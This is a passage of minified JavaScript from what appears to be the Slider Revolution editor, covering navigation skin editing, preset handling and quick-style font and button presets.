.rs_ne_nskin_edit").trigger("click"),o()}),RVS.DOC.on("hideCustomNavNameEntering",function(){jQuery(".rs_changename").removeClass("rs_changename")}),RVS.DOC.on("click",".rs_ne_nskin_yes",function(){var e=jQuery(this).closest(".rs_ne_listelement"),t=e.find("input");return"rename"===e[0].dataset.mode?(RVS.nav[e[0].dataset.type][e[0].dataset.handle].name=t.val(),RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),s(e[0].dataset.type),o(),!1):"delete"===e[0].dataset.mode?(e.hasClass("rs_ne_meta_value_btn")?(delete RVS.nav.currentSkin.placeholders[e[0].dataset.placeholder],RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),n(),RVS.F.drawEditorNavigation()):(void 0!==RVS.nav.cache[e[0].dataset.type][e[0].dataset.handle]&&RVS.nav.toDelete.push(e[0].dataset.handle),delete RVS.nav[e[0].dataset.type][e[0].dataset.handle],RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),s(e[0].dataset.type)),o(),!1):void 0}),RVS.DOC.on("click",".rs_ne_nskin_no",function(){var e=jQuery(this).closest(".rs_ne_listelement");return RVS.S.waitOnFeedback=void 0,jQuery(document.body).off("click.revbuilderbodyclick"),e.hasClass("rs_ne_meta_value_btn")?n():s(e[0].dataset.type),!1}),RVS.DOC.on("click",".rs_ne_markup_css_button",function(){RVS.F.pickMarkupCssMode(this)}),RVS.nav.editor.on("change",function(){void 0!==RVS.nav.currentSkin&&void 0!==RVS.nav.currentEditorMode&&void 0!==RVS.nav.currentSkin[RVS.nav.currentEditorMode]&&RVS.nav.currentSkin[RVS.nav.currentEditorMode]!==RVS.nav.editor.getValue()&&(RVS.nav.currentSkin[RVS.nav.currentEditorMode]=RVS.nav.editor.getValue(),RVS.F.drawEditorNavigation(),o())})}for(var R in RVS.nav.cache={},r)r.hasOwnProperty(R)&&(RVS.nav.cache[r[R]]=jQuery.extend(!0,{},RVS.nav[r[R]]));RVS.nav.currentMaxid=0,s("arrows"),RVS.F.RSDialog.create({modalid:"rbm_navigation_editor",bgopacity:.5}),jQuery(".emc_toggle_inner").RSScroll({suppressScrollX:!0}),RVS.nav.editor.refresh(),e.detach(),t.detach(),i.detach(),a.tabs.self.detach(),a.thumbs.self.detach();var m="arrows";for(var R in r)if(r.hasOwnProperty(R)){var y=document.querySelector('[data-pcontainer="#nav_settings"] .selected');if(y&&y.dataset&&y.dataset.forms&&y.dataset.forms.indexOf(r[R])>=0){m=r[R];break}}var g=void 0!==RVS.SLIDER.settings.nav[m]?RVS.SLIDER.settings.nav[m].style:"1000";RVS.F.pickNavType(document.getElementById("rs_ne_selector_"+m));var f=jQuery('#rs_ne_navlist .rs_ne_nav_skin[data-handle="'+g+'"]');f.length>0&&S(f[0]),RVS.F.pickMarkupCssMode(document.getElementById("rs_ne_mcss_thecsseditor"))}},RVS.F.drawEditorNavigation=function(){void 0===RVS.nav.c&&(RVS.nav.c={arrows:jQuery("#rs_ne_arrows"),left:jQuery("#rs_ne_tp-leftarrow"),right:jQuery("#rs_ne_tp-rightarrow"),bullets:jQuery("#rs_ne_bullets"),tabs:{self:jQuery("#rs_ne_tabs"),inner:jQuery("#rs_ne_tabs-inner-wrapper"),mask:jQuery("#rs_ne_tabs-mask"),single:"tp-tab"},thumbs:{self:jQuery("#rs_ne_thumbs"),inner:jQuery("#rs_ne_thumbs-inner-wrapper"),mask:jQuery("#rs_ne_thumbs-mask"),single:"tp-thumb"}}),RVS.nav.currentTestSpace=null==RVS.nav.currentTestSpace?5:RVS.nav.currentTestSpace,RVS.nav.currentTestPadding=10,RVS.nav.currentAlignMode=null==RVS.nav.currentAlignMode?"horizontal":RVS.nav.currentAlignMode,RVS.nav.currentPosVer=null==RVS.nav.currentPosVer?"bottom":RVS.nav.currentPosVer,RVS.nav.currentPosHor=null==RVS.nav.currentPosHor?"center":RVS.nav.currentPosHor;var e=RVS.F.sanitize_input(RVS.nav.currentSkin.handle.toLowerCase())+" "+RVS.F.sanitize_input(RVS.nav.currentSkin.name.toLowerCase()),t=p({type:RVS.nav.currentSkinType,skin:RVS.nav.currentSkin,default:!0});switch(RVS.nav.currentSkinType){case"arrows":var i=RVS.nav.currentSkin.markup.replace("##title##","Title");RVS.nav.c.left[0].className="tparrows tp-leftarrow "+e,RVS.nav.c.right[0].className="tparrows tp-rightarrow "+e,RVS.nav.c.left[0].innerHTML=t+i,RVS.nav.c.right[0].innerHTML=i,RVS.nav.c.arrows.show(),RVS.nav.c.bullets.hide(),RVS.nav.c.tabs.self.hide(),RVS.nav.c.thumbs.self.hide();break;case"bullets":RVS.nav.c.arrows.hide(),RVS.nav.c.tabs.self.hide(),RVS.nav.c.thumbs.self.hide(),RVS.nav.c.bullets.show(),RVS.nav.c.bullets[0].className="tp-bullets "+e+" nav-dir-"+RVS.nav.currentAlignMode+" nav-pos-ver-"+RVS.nav.currentPosVer+" nav-pos-hor-"+RVS.nav.currentPosHor;i=RVS.nav.currentSkin.markup.replace("##title##","Slide Title");for(var a="",r=0;r<=4;r++)a+='
    '+i+"
    ";RVS.nav.c.bullets[0].innerHTML=t+a,RVS.nav.c.bullets.find(".tp-bullet").each(function(e){var t=jQuery(this),i=t.outerWidth()+parseInt(void 0===RVS.nav.currentTestSpace?0:RVS.nav.currentTestSpace,0),a=t.outerHeight()+parseInt(void 0===RVS.nav.currentTestSpace?0:RVS.nav.currentTestSpace,0);"vertical"===RVS.nav.currentAlignMode?(t.css({top:e*a+"px",left:"0px"}),tpGS.gsap.set(RVS.nav.c.bullets,{height:4*a+t.outerHeight(),width:t.outerWidth()})):(t.css({left:e*i+"px",top:"0px"}),tpGS.gsap.set(RVS.nav.c.bullets,{width:4*i+t.outerWidth(),height:t.outerHeight()}))});break;case"tabs":case"thumbs":var s=RVS.nav.currentSkinType,o=s.replace("s","");RVS.nav.c.arrows.hide(),RVS.nav.c.bullets.hide(),RVS.nav.c.tabs.self.hide(),RVS.nav.c.thumbs.self.hide(),RVS.nav.c[s].self.show(),RVS.nav.c[s].self[0].className="tp-"+s+" "+e+" nav-dir-"+RVS.nav.currentAlignMode+" nav-pos-ver-"+RVS.nav.currentPosVer+" nav-pos-hor-"+RVS.nav.currentPosHor;for(i=RVS.nav.currentSkin.markup.replace("##title##","Slide Title"),a="",r=0;r<10;r++)i=i.replace("##param"+r+"##","Parameter "+r);for(r=0;r<=2;r++)a+='
    '+i+"
    ";RVS.nav.c[s].inner[0].innerHTML=t+a;var n=parseInt(RVS.nav.currentSkin.dim.width,0)+parseInt(RVS.nav.currentTestSpace,0),l=parseInt(RVS.nav.currentSkin.dim.height,0)+parseInt(RVS.nav.currentTestSpace,0);tpGS.gsap.set(RVS.nav.c[s].self,{padding:RVS.nav.currentTestPadding}),RVS.nav.currentTestPadding=parseInt(RVS.nav.currentTestPadding,0),RVS.nav.c[s].inner.find("."+RVS.nav.c[s].single).each(function(e){"vertical"===RVS.nav.currentAlignMode?tpGS.gsap.set(this,{top:e*l+"px",left:"0px",width:RVS.nav.currentSkin.dim.width+"px",height:RVS.nav.currentSkin.dim.height+"px"}):tpGS.gsap.set(this,{left:e*n+"px",top:"0px",width:RVS.nav.currentSkin.dim.width+"px",height:RVS.nav.currentSkin.dim.height+"px"})});var d="horizontal"===RVS.nav.currentAlignMode?3*RVS.nav.currentSkin.dim.width+2*RVS.nav.currentTestSpace:RVS.nav.currentSkin.dim.width,S="horizontal"===RVS.nav.currentAlignMode?RVS.nav.currentSkin.dim.height:3*RVS.nav.currentSkin.dim.height+2*RVS.nav.currentTestSpace,c={width:d+"px",height:S+"px",overwrite:"auto"},u={top:"auto",left:"auto",bottom:"auto",marginTop:"0px",marginBottom:"0px",right:"auto",y:"0%",x:"0px",width:d+"px",height:S+"px",overflow:"hidden",position:"relative",overwrite:"auto",marginLeft:"auto",marginRight:"auto"};tpGS.gsap.set(RVS.nav.c[s].self,c),tpGS.gsap.set(RVS.nav.c[s].mask,u)}},RVS.F.savechangesonnavigation=function(){for(var e in RVS.nav.changes={},RVS.nav.currentHandle=void 0!==RVS.nav.currentSkin?RVS.nav.currentSkin.handle:void 0,r)if(r.hasOwnProperty(e))for(var t in RVS.nav[r[e]])if(RVS.nav[r[e]].hasOwnProperty(t)&&RVS.nav[r[e]][t].changed){RVS.nav.changes[t]=jQuery.extend(!0,{},RVS.nav[r[e]][t]),delete RVS.nav.changes[t].changed;try{var i=RVS.SLIDER[RVS.S.slideId].slide.nav[r[e]].presets;for(var a in RVS.nav.changes[t].placeholders)RVS.nav.changes[t].placeholders.hasOwnProperty(a)&&void 0!==i[a]&&!0!==i[a+"-def"]&&(i[a]=RVS.nav.changes[t].placeholders[a].data)}catch(e){}}RVS.F.ajaxRequest("save_navigation",{navs:RVS.nav.changes,delete:RVS.nav.toDelete},function(e){for(var t in r)r.hasOwnProperty(t)&&(RVS.nav[r[t]]=jQuery.extend(!0,{},e.navs[r[t]]));if(void 0!==RVS.nav.currentHandle){var i;for(var t in s(RVS.nav.currentSkinType),RVS.nav[RVS.nav.currentSkinType])RVS.nav[RVS.nav.currentSkinType].hasOwnProperty(t)&&(i=void 0===i&&RVS.nav[RVS.nav.currentSkinType][t].handle==RVS.nav.currentHandle?t:i);void 0!==i&&jQuery("#rs_ne_nav_skin_"+i).trigger("click")}}),RVS.nav.toDelete=[],RVS.nav.toSave=!1,jQuery("#save_naveditor").hide(),RVS.F.updatePresetInputs({type:RVS.nav.currentSkinType,env:"slide"}),RVS.F.updatePresetInputs({type:RVS.nav.currentSkinType,env:"global"})},RVS.F.checkSkinHandle=function(e){var t=e.length<4||jQuery.inArray(e,["cursor","pointer","margin","padding","display","position","width","height","transition","relative","absolute","color","arrows","thumbs","arrow","thumb","tab","tabs","bullet","bullets","hover","z-index"])>=0;for(var i in RVS.nav[RVS.nav.currentSkinType])RVS.nav[RVS.nav.currentSkinType].hasOwnProperty(i)&&(t=!0===t||RVS.nav[RVS.nav.currentSkinType][i].handle===e);return t},RVS.F.bgUpdate=function(e,t){tpGS.gsap.set(a[e].self,{background:t})},RVS.F.pickMarkupCssMode=function(e){jQuery(".rs_ne_markup_css_button.selected").removeClass("selected"),jQuery(e.dataset.hide).hide(),jQuery(e.dataset.show).show(),RVS.nav.currentEditorMode=e.dataset.mode,e.className+=" selected",void 0!==RVS.nav.currentSkin&&RVS.nav.editor.setValue(RVS.nav.currentSkin[RVS.nav.currentEditorMode])},RVS.F.pickNavType=function(e){jQuery(".rs_ne_selector.selected").removeClass("selected"),e.className+=" selected",RVS.nav.currentSkinType=e.dataset.type,jQuery("#rs_ne_helper_wrap, #rs_ne_settings, #rs_ne_markup_css_button_wrap").hide(),jQuery("#rs_ne_cssmeta_config").hide(),jQuery("#rs_ne_cssmeta_values").show(),RVS.F.pickMarkupCssMode(document.getElementById("rs_ne_mcss_thecsseditor")),s(e.dataset.type),jQuery("#rs_ne_factory_list .rs_ne_nav_skin").first().trigger("click")},RVS.F.setNavPresetValues=function(e){var t=RVS.SLIDER.settings.nav[e.type];if("default"===t.preset)for(var i in RVS.nav[e.type][t.style].placeholders)RVS.nav[e.type][t.style].placeholders.hasOwnProperty(i)&&RVS.F.updateSliderObj({path:"settings.nav."+e.type+".presets",val:{}});else{var a=RVS.nav[e.type][t.style].presets[t.preset].values;for(var r in a)a.hasOwnProperty(r)&&(-1===r.indexOf("-def")?RVS.F.updateSliderObj({path:"settings.nav."+e.type+".presets."+r,val:a[r]}):"on"!==a[r]&&!0!==a[r]&&"true"!==a[r]||RVS.F.updateSliderObj({path:"settings.nav."+e.type+".presets."+r,val:!0}))}RVS.F.updateNavStyleSelection({init:!1,type:e.type})},RVS.F.updatePresetInputs=function(e){var t="slide"===e.env?RVS.SLIDER[RVS.S.slideId].slide.nav[e.type]:RVS.SLIDER.settings.nav[e.type],i="slide"===e.env?jQuery("#sl_"+e.type+"_styles_fieldset"):jQuery("#sr_"+e.type+"_styles_fieldset"),a="slide"===e.env?document.getElementById("form_slide_nav_"+e.type):document.getElementById("form_nav_"+e.type+"_style");RVS.SLIDER.settings.nav[e.type].style=void 0===RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style]?"arrows"===e.type?1e3:"bullets"===e.type?3e3:"thumbs"===e.type?2e3:4e3:RVS.SLIDER.settings.nav[e.type].style;var r,s,o,n,l,d,S=RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style].placeholders,c="slide"===e.env?void 0:RVS.SLIDER.settings.nav[e.type].preset,p=void 0!==c&&"default"!==c&&void 0!==RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style].presets[c]?RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style].presets[c].values:{},u="slide"===e.env?"sl_"+e.type+"_":"sr_"+e.type+"_",R="slide"===e.env?RVS.S.slideId+".slide.":"settings.",V="slide"===e.env?"slideinput":"sliderinput",y=RVS.F.cF();for(var g in t.presets=void 0===t.presets?{}:t.presets,S)if(S.hasOwnProperty(g)){s=void 0!==p[r=S[g]]?p[r]:r.data,o=!1,"default"!==t.preset&&void 0!==t.presets&&void 0!==t.presets[g]?(s=t.presets[g],o=t.presets[g+"-def"]):(t.presets[g]=s,t.presets[g+"-def"]=o),o=(n=m(o))?" checked='checked' ":"";var f=RVS.F.cE({t:"row",cN:"directrow navpresetrow"}),h=RVS.F.cE({t:"onelong"}),v=RVS.F.cE({t:"oneshort"}),_=RVS.F.cE({t:"label_a"}),L=RVS.F.cE({t:"label_icon"}),w=RVS.F.cE({t:"input",type:"checkbox",id:u+g+"-def",cN:"presetToCustom nav_"+e.type+"_custom_defaults "+V,ds:{evt:"redrawNavigation",evtparam:e.type,r:"nav."+e.type+".presets."+g+"-def"}});switch(_.innerText=r.title,w.checked=n,h.appendChild(_),v.appendChild(L),v.appendChild(w),f.appendChild(h),f.appendChild(v),r.type){case"font-family":var b=RVS.F.cE({t:"select",cN:"navstyleinput searchbox tos2 presetToCustom "+F,id:u+g,ds:{evt:"redrawNavigation",evtparam:e.type,theme:"minl120",r:R+"nav."+e.type+".presets."+g}});for(var I in h.appendChild(b),RVS.LIB.FONTS)RVS.LIB.FONTS.hasOwnProperty(I)&&"Dont Show Me"!==RVS.LIB.FONTS[I].label&&b.appendChild(RVS.F.CO(RVS.LIB.FONTS[I].label,RVS.LIB.FONTS[I].label));b.value=s;break;case"icon":case"custom":var F="";try{RVS.F.isNumeric(parseInt(s,0))&&(F=" valueduekeyboard")}catch(e){}if((d=RVS.F.cE({t:"input",type:"text",id:u+g,cN:"presetToCustom"+F+" navstyleinput",ds:{evt:"redrawNavigation",evtparam:e.type,r:R+"nav."+e.type+".presets."+g}})).value=s,"icon"===r.type){(l=RVS.F.cE({cN:"input_presets_wrap"})).appendChild(RVS.F.cI({cN:"input_presets_dropdown",c:"more_vertical"}));let e=RVS.F.cE({cN:"input_presets",ds:{insertinto:u+g}});e.innerHTML='
    ',l.appendChild(e),l.prepend(d),h.appendChild(l)}else h.appendChild(d);break;case"color":case"color-rgba":s.indexOf(",")>=0&&-1==s.indexOf("(")&&(s=s.split(",").length>3?"rgba("+s+")":"rgb("+s+")"),f.className="directrow",(d=RVS.F.cE({t:"input",type:"text",id:u+g,cN:"navstyleinput presetToCustom my-color-field",ds:{evt:"redrawNavigation",evtparam:e.type,r:R+"nav."+e.type+".presets."+g,visible:"true",editing:RVS.F.capitalise(e.type)+" "+r.title,navcolor:"1",mode:"single"}})).name=g,d.value=s,h.appendChild(d)}y.appendChild(f)}for(var D in requestAnimationFrame(function(){i[0].innerHTML="",i[0].appendChild(y),i.find(".navstyleinput.searchbox.tos2.presetToCustom ").ddTP("destroy").ddTP({placeholder:"Enter or Select"}),RVS.F.initTpColorBoxes(i.find(".navstyleinput.presetToCustom.my-color-field")),RVS.F.initOnOff(i),""===i[0].innerHTML?a.classList.add("hide_while_empty"):a.classList.remove("hide_while_empty")}),t.presets){if(t.presets.hasOwnProperty(D))void 0===S[D.replace("-def","")]&&delete t.presets[D]}},RVS.F.updateNavStyleSelection=function(e){c({init:e.init,navobj:RVS.nav[e.type][RVS.SLIDER.settings.nav[e.type].style],type:e.type,presetChange:e.presetChange}),RVS.F.drawNavigation({type:e.type,init:e.init,presetChange:e.presetChange})},RVS.F.drawNavigation=function(r){if(void 0!==r&&0!=RVS.SLIDER.slideIDs.length){var s=RVS.SLIDER.settings.nav[r.type],o=void 0!==r.style?r.style:s.style,n=RVS.nav[r.type][o],l=RVS.SLIDER.slideIDs.length>0?RVS.SLIDER.slideIDs[1]:RVS.SLIDER.slideIDs[0],d=RVS.SLIDER.slideIDs[RVS.SLIDER.slideIDs.length-1];if(void 0!==n&&void 0!==n.markup){var S=RVS.F.sanitize_input(n.handle.toLowerCase()),c=void 0!==n.css?p({color:r.color,attribute:r.attribute,type:r.type,handle:o,default:r.default}):"";if("arrows"===r.type){var R,V;e.attr("class","aable markable tparrows tp-leftarrow "+S),t.attr("class","aable markable tparrows tp-rightarrow "+S),R=V=n.markup;var m=u({id:d}),y=u({id:l});R=R.replace("##title##",void 0===RVS.SLIDER[l]?"Title":RVS.SLIDER[l].slide.title),V=V.replace("##title##",void 0===RVS.SLIDER[d]?"Title":RVS.SLIDER[d].slide.title),e.html(c+V),t.html(R),e.find(".tp-arr-imgholder").css(m),e.find(".tp-arr-imgholder").attr("id","arrows_"+d),t.find(".tp-arr-imgholder").css(y),t.find(".tp-arr-imgholder").attr("id","arrows_"+l),RVS.F.dragMe({element:e,input:{x:jQuery("#nav_arrows_left_offsetx"),y:jQuery("#nav_arrows_left_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:"arrows",forms:["*navlayout*#form_nav_arrows:#sr_na_arr_12"]}),RVS.F.dragMe({element:t,input:{x:jQuery("#nav_arrows_right_offsetx"),y:jQuery("#nav_arrows_right_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:"arrows",forms:["*navlayout*#form_nav_arrows:#sr_na_arr_13"]})}else if("bullets"===r.type){i.data("cname",S),i.attr("class","aable markable tp-bullets "+S+" nav-dir-"+s.direction+" nav-pos-ver-"+s.vertical+" nav-pos-hor-"+s.horizontal),i.html(c);for(var g=n.markup,f=0;f<=RVS.SLIDER.slideIDs.length-1;f++){var h=RVS.SLIDER.slideIDs[f],v=g.replace("##title##",RVS.SLIDER[h].slide.title),_=0==f?"selected":"",L=jQuery('
    '+v+"
    ");L.find(".tp-bullet-image").css(u({id:h})).attr("id","bullets"+h),i.append(L)}RVS.F.dragMe({element:i,input:{x:jQuery("#nav_bullets_offsetx"),y:jQuery("#nav_bullets_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:"bullets",forms:["*navlayout*form_nav_bullets:#sr_na_bul_11"]})}else if("tabs"===r.type||"thumbs"===r.type){r.presetChange?(s.width=void 0!==n.dim.width?n.dim.width:s.width,s.height=void 0!==n.dim.height?n.dim.height:s.height,jQuery("#nav_"+r.type+"_width").val(s.width),jQuery("#nav_"+r.type+"_height").val(s.height)):tpGS.gsap.set(a[r.type].self,{background:window.RSColor.get(s.wrapperColor)}),a[r.type].self.data("cname",S),a[r.type].inner.html(c);for(g=n.markup,f=0;f<=Math.min(s.amount,RVS.SLIDER.slideIDs.length-1);f++){h=RVS.SLIDER.slideIDs[f],v=g.replace("##title##",RVS.SLIDER[h].slide.title),_=0==f?"selected":"";for(var w=0;w<10;w++){var b=void 0!==RVS.SLIDER[h].slide.info.params[w]?RVS.SLIDER[h].slide.info.params[w].val:"";void 0!==b&&b.length>0&&(v=v.replace("##param"+w+"##",b))}var I=jQuery('
    '+v+"
    ");I.find("."+a[r.type].single+"-image").css(u({id:h})).attr("id",r.type+"_"+h),a[r.type].inner.append(I)}var F="tabs"==r.type?"*navlayout*#form_nav_tabs:#sr_na_tab_11":"*navlayout*#form_nav_thumbs:#sr_na_thumb_11";RVS.F.dragMe({element:a[r.type].self,input:{x:jQuery("#nav_"+r.type+"_offsetx"),y:jQuery("#nav_"+r.type+"_offsety")},updateInput:!0,attributeRoot:"settings.",callEvent:"sliderNavPositionUpdate",callEventParam:r.type,forms:[F]})}}RVS.F.sliderNavPositionUpdate({type:r.type})}},RVS.F.sliderNavPositionUpdate=function(e){requestAnimationFrame(function(){RVS.F.sliderNavPositionUpdateRAF(e)})},RVS.F.sliderNavPositionUpdateRAF=function(r){var s=RVS.SLIDER.settings.nav[r.type];switch(r.type){case"arrows":s.set&&"hero"!==RVS.SLIDER.settings.type?(e.show(),t.show()):(e.hide(),t.hide());break;case"bullets":s.set&&"hero"!==RVS.SLIDER.settings.type?i.show():i.hide();break;case"tabs":case"thumbs":s.set&&"hero"!==RVS.SLIDER.settings.type?a[r.type].self.show():a[r.type].self.hide()}if(!1===s.set||"hero"===RVS.SLIDER.settings.type)return!1;if("arrows"===r.type)R(e,s.left),R(t,s.right);else if("bullets"===r.type)i.attr("class","aable markable tp-bullets "+i.data("cname")+" nav-dir-"+s.direction+" nav-pos-ver-"+s.vertical+" nav-pos-hor-"+s.horizontal),i.find(".tp-bullet").each(function(e){var t=jQuery(this),a=RVS.SLIDER.slideIDs.length,r=t.outerWidth()+parseInt(void 0===s.space?0:s.space,0),o=t.outerHeight()+parseInt(void 0===s.space?0:s.space,0);"vertical"===s.direction?(t.css({top:e*o+"px",left:"0px"}),i.css({height:(a-1)*o+t.outerHeight(),width:t.outerWidth()})):(t.css({left:e*r+"px",top:"0px"}),i.css({width:(a-1)*r+t.outerWidth(),height:t.outerHeight()}))}),R(i,s);else if("tabs"===r.type||"thumbs"===r.type){var o=Math.min(s.amount,RVS.SLIDER.slideIDs.length),n=parseInt(s.width,0)+parseInt(s.space,0),l=parseInt(s.height,0)+parseInt(s.space,0);s.width=parseInt(s.width),s.height=parseInt(s.height),a[r.type].self.attr("class","aable markable "+a[r.type].single+"s "+a[r.type].self.data("cname")+" nav-dir-"+s.direction+" nav-pos-ver-"+s.vertical+" nav-pos-hor-"+s.horizontal),tpGS.gsap.set(a[r.type].self,{padding:s.padding}),s.padding=parseInt(s.padding,0),a[r.type].inner.find("."+a[r.type].single).each(function(e){"vertical"===s.direction?tpGS.gsap.set(this,{top:e*l+"px",left:"0px",width:s.width+"px",height:s.height+"px"}):tpGS.gsap.set(this,{left:e*n+"px",top:"0px",width:s.width+"px",height:s.height+"px"})});var d="horizontal"===s.direction?s.width*o+s.space*(o-1)+parseInt(2*s.mhoffset):s.width+parseInt(2*s.mhoffset),S="horizontal"===s.direction?parseInt(s.height)+parseInt(2*s.mvoffset):s.height*o+s.space*(o-1)+parseInt(2*s.mvoffset),c={width:d+"px",height:S+"px",overwrite:"auto"},p={padding:s.mvoffset+"px "+s.mhoffset+"px",top:"auto",left:"auto",bottom:"auto",marginTop:"0px",marginBottom:"0px",right:"auto",y:"0%",x:"0px",width:d+"px",height:S+"px",overflow:"hidden",position:"relative",overwrite:"auto",marginLeft:"auto",marginRight:"auto"};if(!0===s.spanWrapper)switch(s.direction){case"horizontal":c.width=RVS.S.ulDIM.width-2*parseInt(s.padding,0)+"px",p.x=s.offsetX,p.marginLeft="center"===s.horizontal?"auto":"0px",p.marginRight="center"===s.horizontal?"auto":"0px","right"===s.horizontal&&(p.right=s.padding+"px",p.position="absolute"),"outer-bottom"===s.innerOuter?RVS.S.navOffset[r.type].bottom=parseInt(s.height,0)+2*s.padding:"outer-top"===s.innerOuter&&(RVS.S.navOffset[r.type].top=parseInt(s.height,0)+2*s.padding);break;case"vertical":c.height=RVS.S.ulDIM.height-2*parseInt(s.padding,0)+"px",p.marginTop="bottom"!==s.vertical?s.offsetY+"px":"0px",p.marginBottom="bottom"===s.vertical?-1*s.offsetY+"px":"0px","center"===s.vertical?(p.top="50%",p.y="-50%",p.position="absolute"):"bottom"===s.vertical&&(p.top="auto",p.bottom=s.padding+"px",p.position="absolute"),"outer-left"===s.innerOuter?RVS.S.navOffset[r.type].left=parseInt(s.width,0)+2*s.padding:"outer-right"===s.innerOuter&&(RVS.S.navOffset[r.type].right=parseInt(s.width,0)+2*s.padding)}tpGS.gsap.set(a[r.type].inner,{position:"relative"}),tpGS.gsap.set(a[r.type].self,c),tpGS.gsap.set(a[r.type].mask,p),R(a[r.type].self,s)}},RVS.F.saveDeleteNavPreset=function(e){var t=jQuery("#sr_"+e.type+"_style_preset").val(),i=RVS.F.sanitize_input(t),a={},r=RVS.SLIDER.settings.nav[e.type],s=RVS.nav[e.type][r.style],o="save"===e.mode?"create_navigation_preset":"delete_navigation_preset";if(""!==t&&"null"!==t&&null!==t){if("save"===e.mode){for(var n in r.presets)if(r.presets.hasOwnProperty(n)){var l=r.presets[n];if(n.indexOf("-def")>0&&("on"===l||!0===l||"true"===l)){var d=n.replace("-def","");a[d]=r.presets[d],a[n]=!0}}if(jQuery.isEmptyObject(a))return void RVS.F.showErrorMessage(RVS_LANG.no_nav_changes_done)}else"delete"===e.mode&&delete s.presets[i];var S="save"===e.mode?{navigation:r.style,name:t,handle:i,type:e.type,do_overwrite:!0,values:a}:{style_handle:r.style,handle:i,type:e.type};s.presets=void 0===s.presets||""===s.presets?{}:s.presets,"save"===e.mode&&(s.presets[t]={name:t,values:a}),RVS.F.ajaxRequest(o,S,function(e){}),c({init:!1,navobj:s,type:e.type,presetChange:!0}),r.preset="save"===e.mode?i:"default",RVS.F.setNavPresetValues({type:e.type})}else RVS.F.showErrorMessage(RVS_LANG.no_preset_name)},RVS.F.updateSlideBasedNavigationStyle=function(){"hero"!==RVS.F.type&&(RVS.SLIDER.settings.nav.arrows.set&&RVS.F.updatePresetInputs({type:"arrows",env:"slide"}),RVS.SLIDER.settings.nav.bullets.set&&RVS.F.updatePresetInputs({type:"bullets",env:"slide"}),RVS.SLIDER.settings.nav.thumbs.set&&RVS.F.updatePresetInputs({type:"thumbs",env:"slide"}),RVS.SLIDER.settings.nav.tabs.set&&RVS.F.updatePresetInputs({type:"tabs",env:"slide"}))},RVS.F.createNewNavigation=function(e){return{id:"new_"+RVS.nav.currentMaxid,name:"New "+e+" Navigation",css:"",markup:"",dim:{width:160,height:160},placeholders:{},presets:{},type:e,factory:!1,handle:"newnavclass_"+RVS.nav.currentMaxid}},RVS.F.migrateNavigation=function(e){RVS.nav=e}}(), /*! * REVOLUTION 6.0.0 EDITOR QUICK STYLE JS * @version: 1.0 (01.07.2019) * @author ThemePunch */ RVS.LIB.QS=jQuery.extend(!0,RVS.LIB.QS,{headlines:[{fs:32,lh:36,ff:"Indie Flower",fw:"400",ls:1},{fs:35,lh:45,ff:"Raleway",fw:"300",ls:2},{fs:46,lh:60,ff:"Shadows Into Light",fw:"400",ls:-1},{fs:36,lh:40,ff:"Roboto",fw:"500",ls:1.5},{fs:40,fst:"italic",lh:44,ff:"Raleway",fw:"800",ls:2},{fs:40,lh:50,ff:"Arial",fw:"400",ls:0},{fs:40,lh:50,ff:"Roboto",fw:"900",ls:0,tt:"uppercase"},{fs:60,lh:70,ff:"Poppins",fw:"500",ls:"-1",tt:"uppercase"},{fs:80,lh:90,ff:"Poppins",fw:"800",ls:"-4"},{fs:80,lh:90,ff:"Montserrat",fw:"200",ls:"-0.2"},{fs:100,lh:110,ff:"Montserrat",fw:"100",ls:"-6"}],headlines_color:"#fff",content_color:"#fff",content:[{fs:14,lh:24,ff:"Roboto",fw:"400",ls:1},{fs:16,lh:24,ff:"Poppins",fw:"400",ls:2},{fs:12,lh:20,ff:"Arial",fw:"400",content:"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam vestibulum orci at leo consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore..."},{fs:15,lh:25,ff:"Montserrat",fw:"400",ls:2},{fs:13,lh:20,ff:"Open Sans",fw:"400",ls:2,tt:"uppercase"},{fs:16,lh:24,ff:"Roboto",fw:"500",ls:0},{fs:24,lh:30,ff:"Open Sans",fw:"300",ls:1,content:"Lorem ipsum dolor sit amet, consectetur adipiscing elit"}],buttons:[{showsize:"half",fs:15,fw:"500",ff:"Roboto",lh:32,pd:["0px","20px","0px","20px"],bg:"rgba(255,255,255,1)",color:"#000000",content:"Click Here",cls:"rev-btn",hc:"rgba(255,255,255,1)",hbg:"#000000",hs:300,ease:"power3.inOut"},{showsize:"half",fs:15,fw:"500",ff:"Roboto",lh:32,pd:["0px","20px","0px","20px"],br:["16px","16px","16px","16px"],bg:"rgba(255,255,255,1)",color:"#000000",content:"Click Here",cls:"rev-btn",hc:"rgba(255,255,255,1)",hbg:"#000000",hs:300,ease:"power3.inOut"},{showsize:"half",fs:20,fw:"500",ff:"Roboto",lh:50,pd:["0px","20px","0px","20px"],bg:"rgba(0,0,0,1)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200,ease:"power1.inOut"},{showsize:"half",fs:20,fw:"500",ff:"Roboto",lh:50,pd:["0px","20px","0px","20px"],br:["25px","25px","25px","25px"],bg:"rgba(0,0,0,1)",color:"#ffffff",content:"Click Here",cls:"rev-btn",hc:"rgba(0,0,0,1)",hbg:"#ffffff",hs:200,ease:"power1.inOut"},{showsize:"half",fs:17,fw:"500",ff:"Roboto",lh:40,pd:["0px","25px","0px","25px"],bg:"rgba(0,0,0,0)",bw:["1px","1px","1px","1px"],bs:"solid",bc:"rgba(255,255,255,0.35)",color:"#ffffff",content:"Click 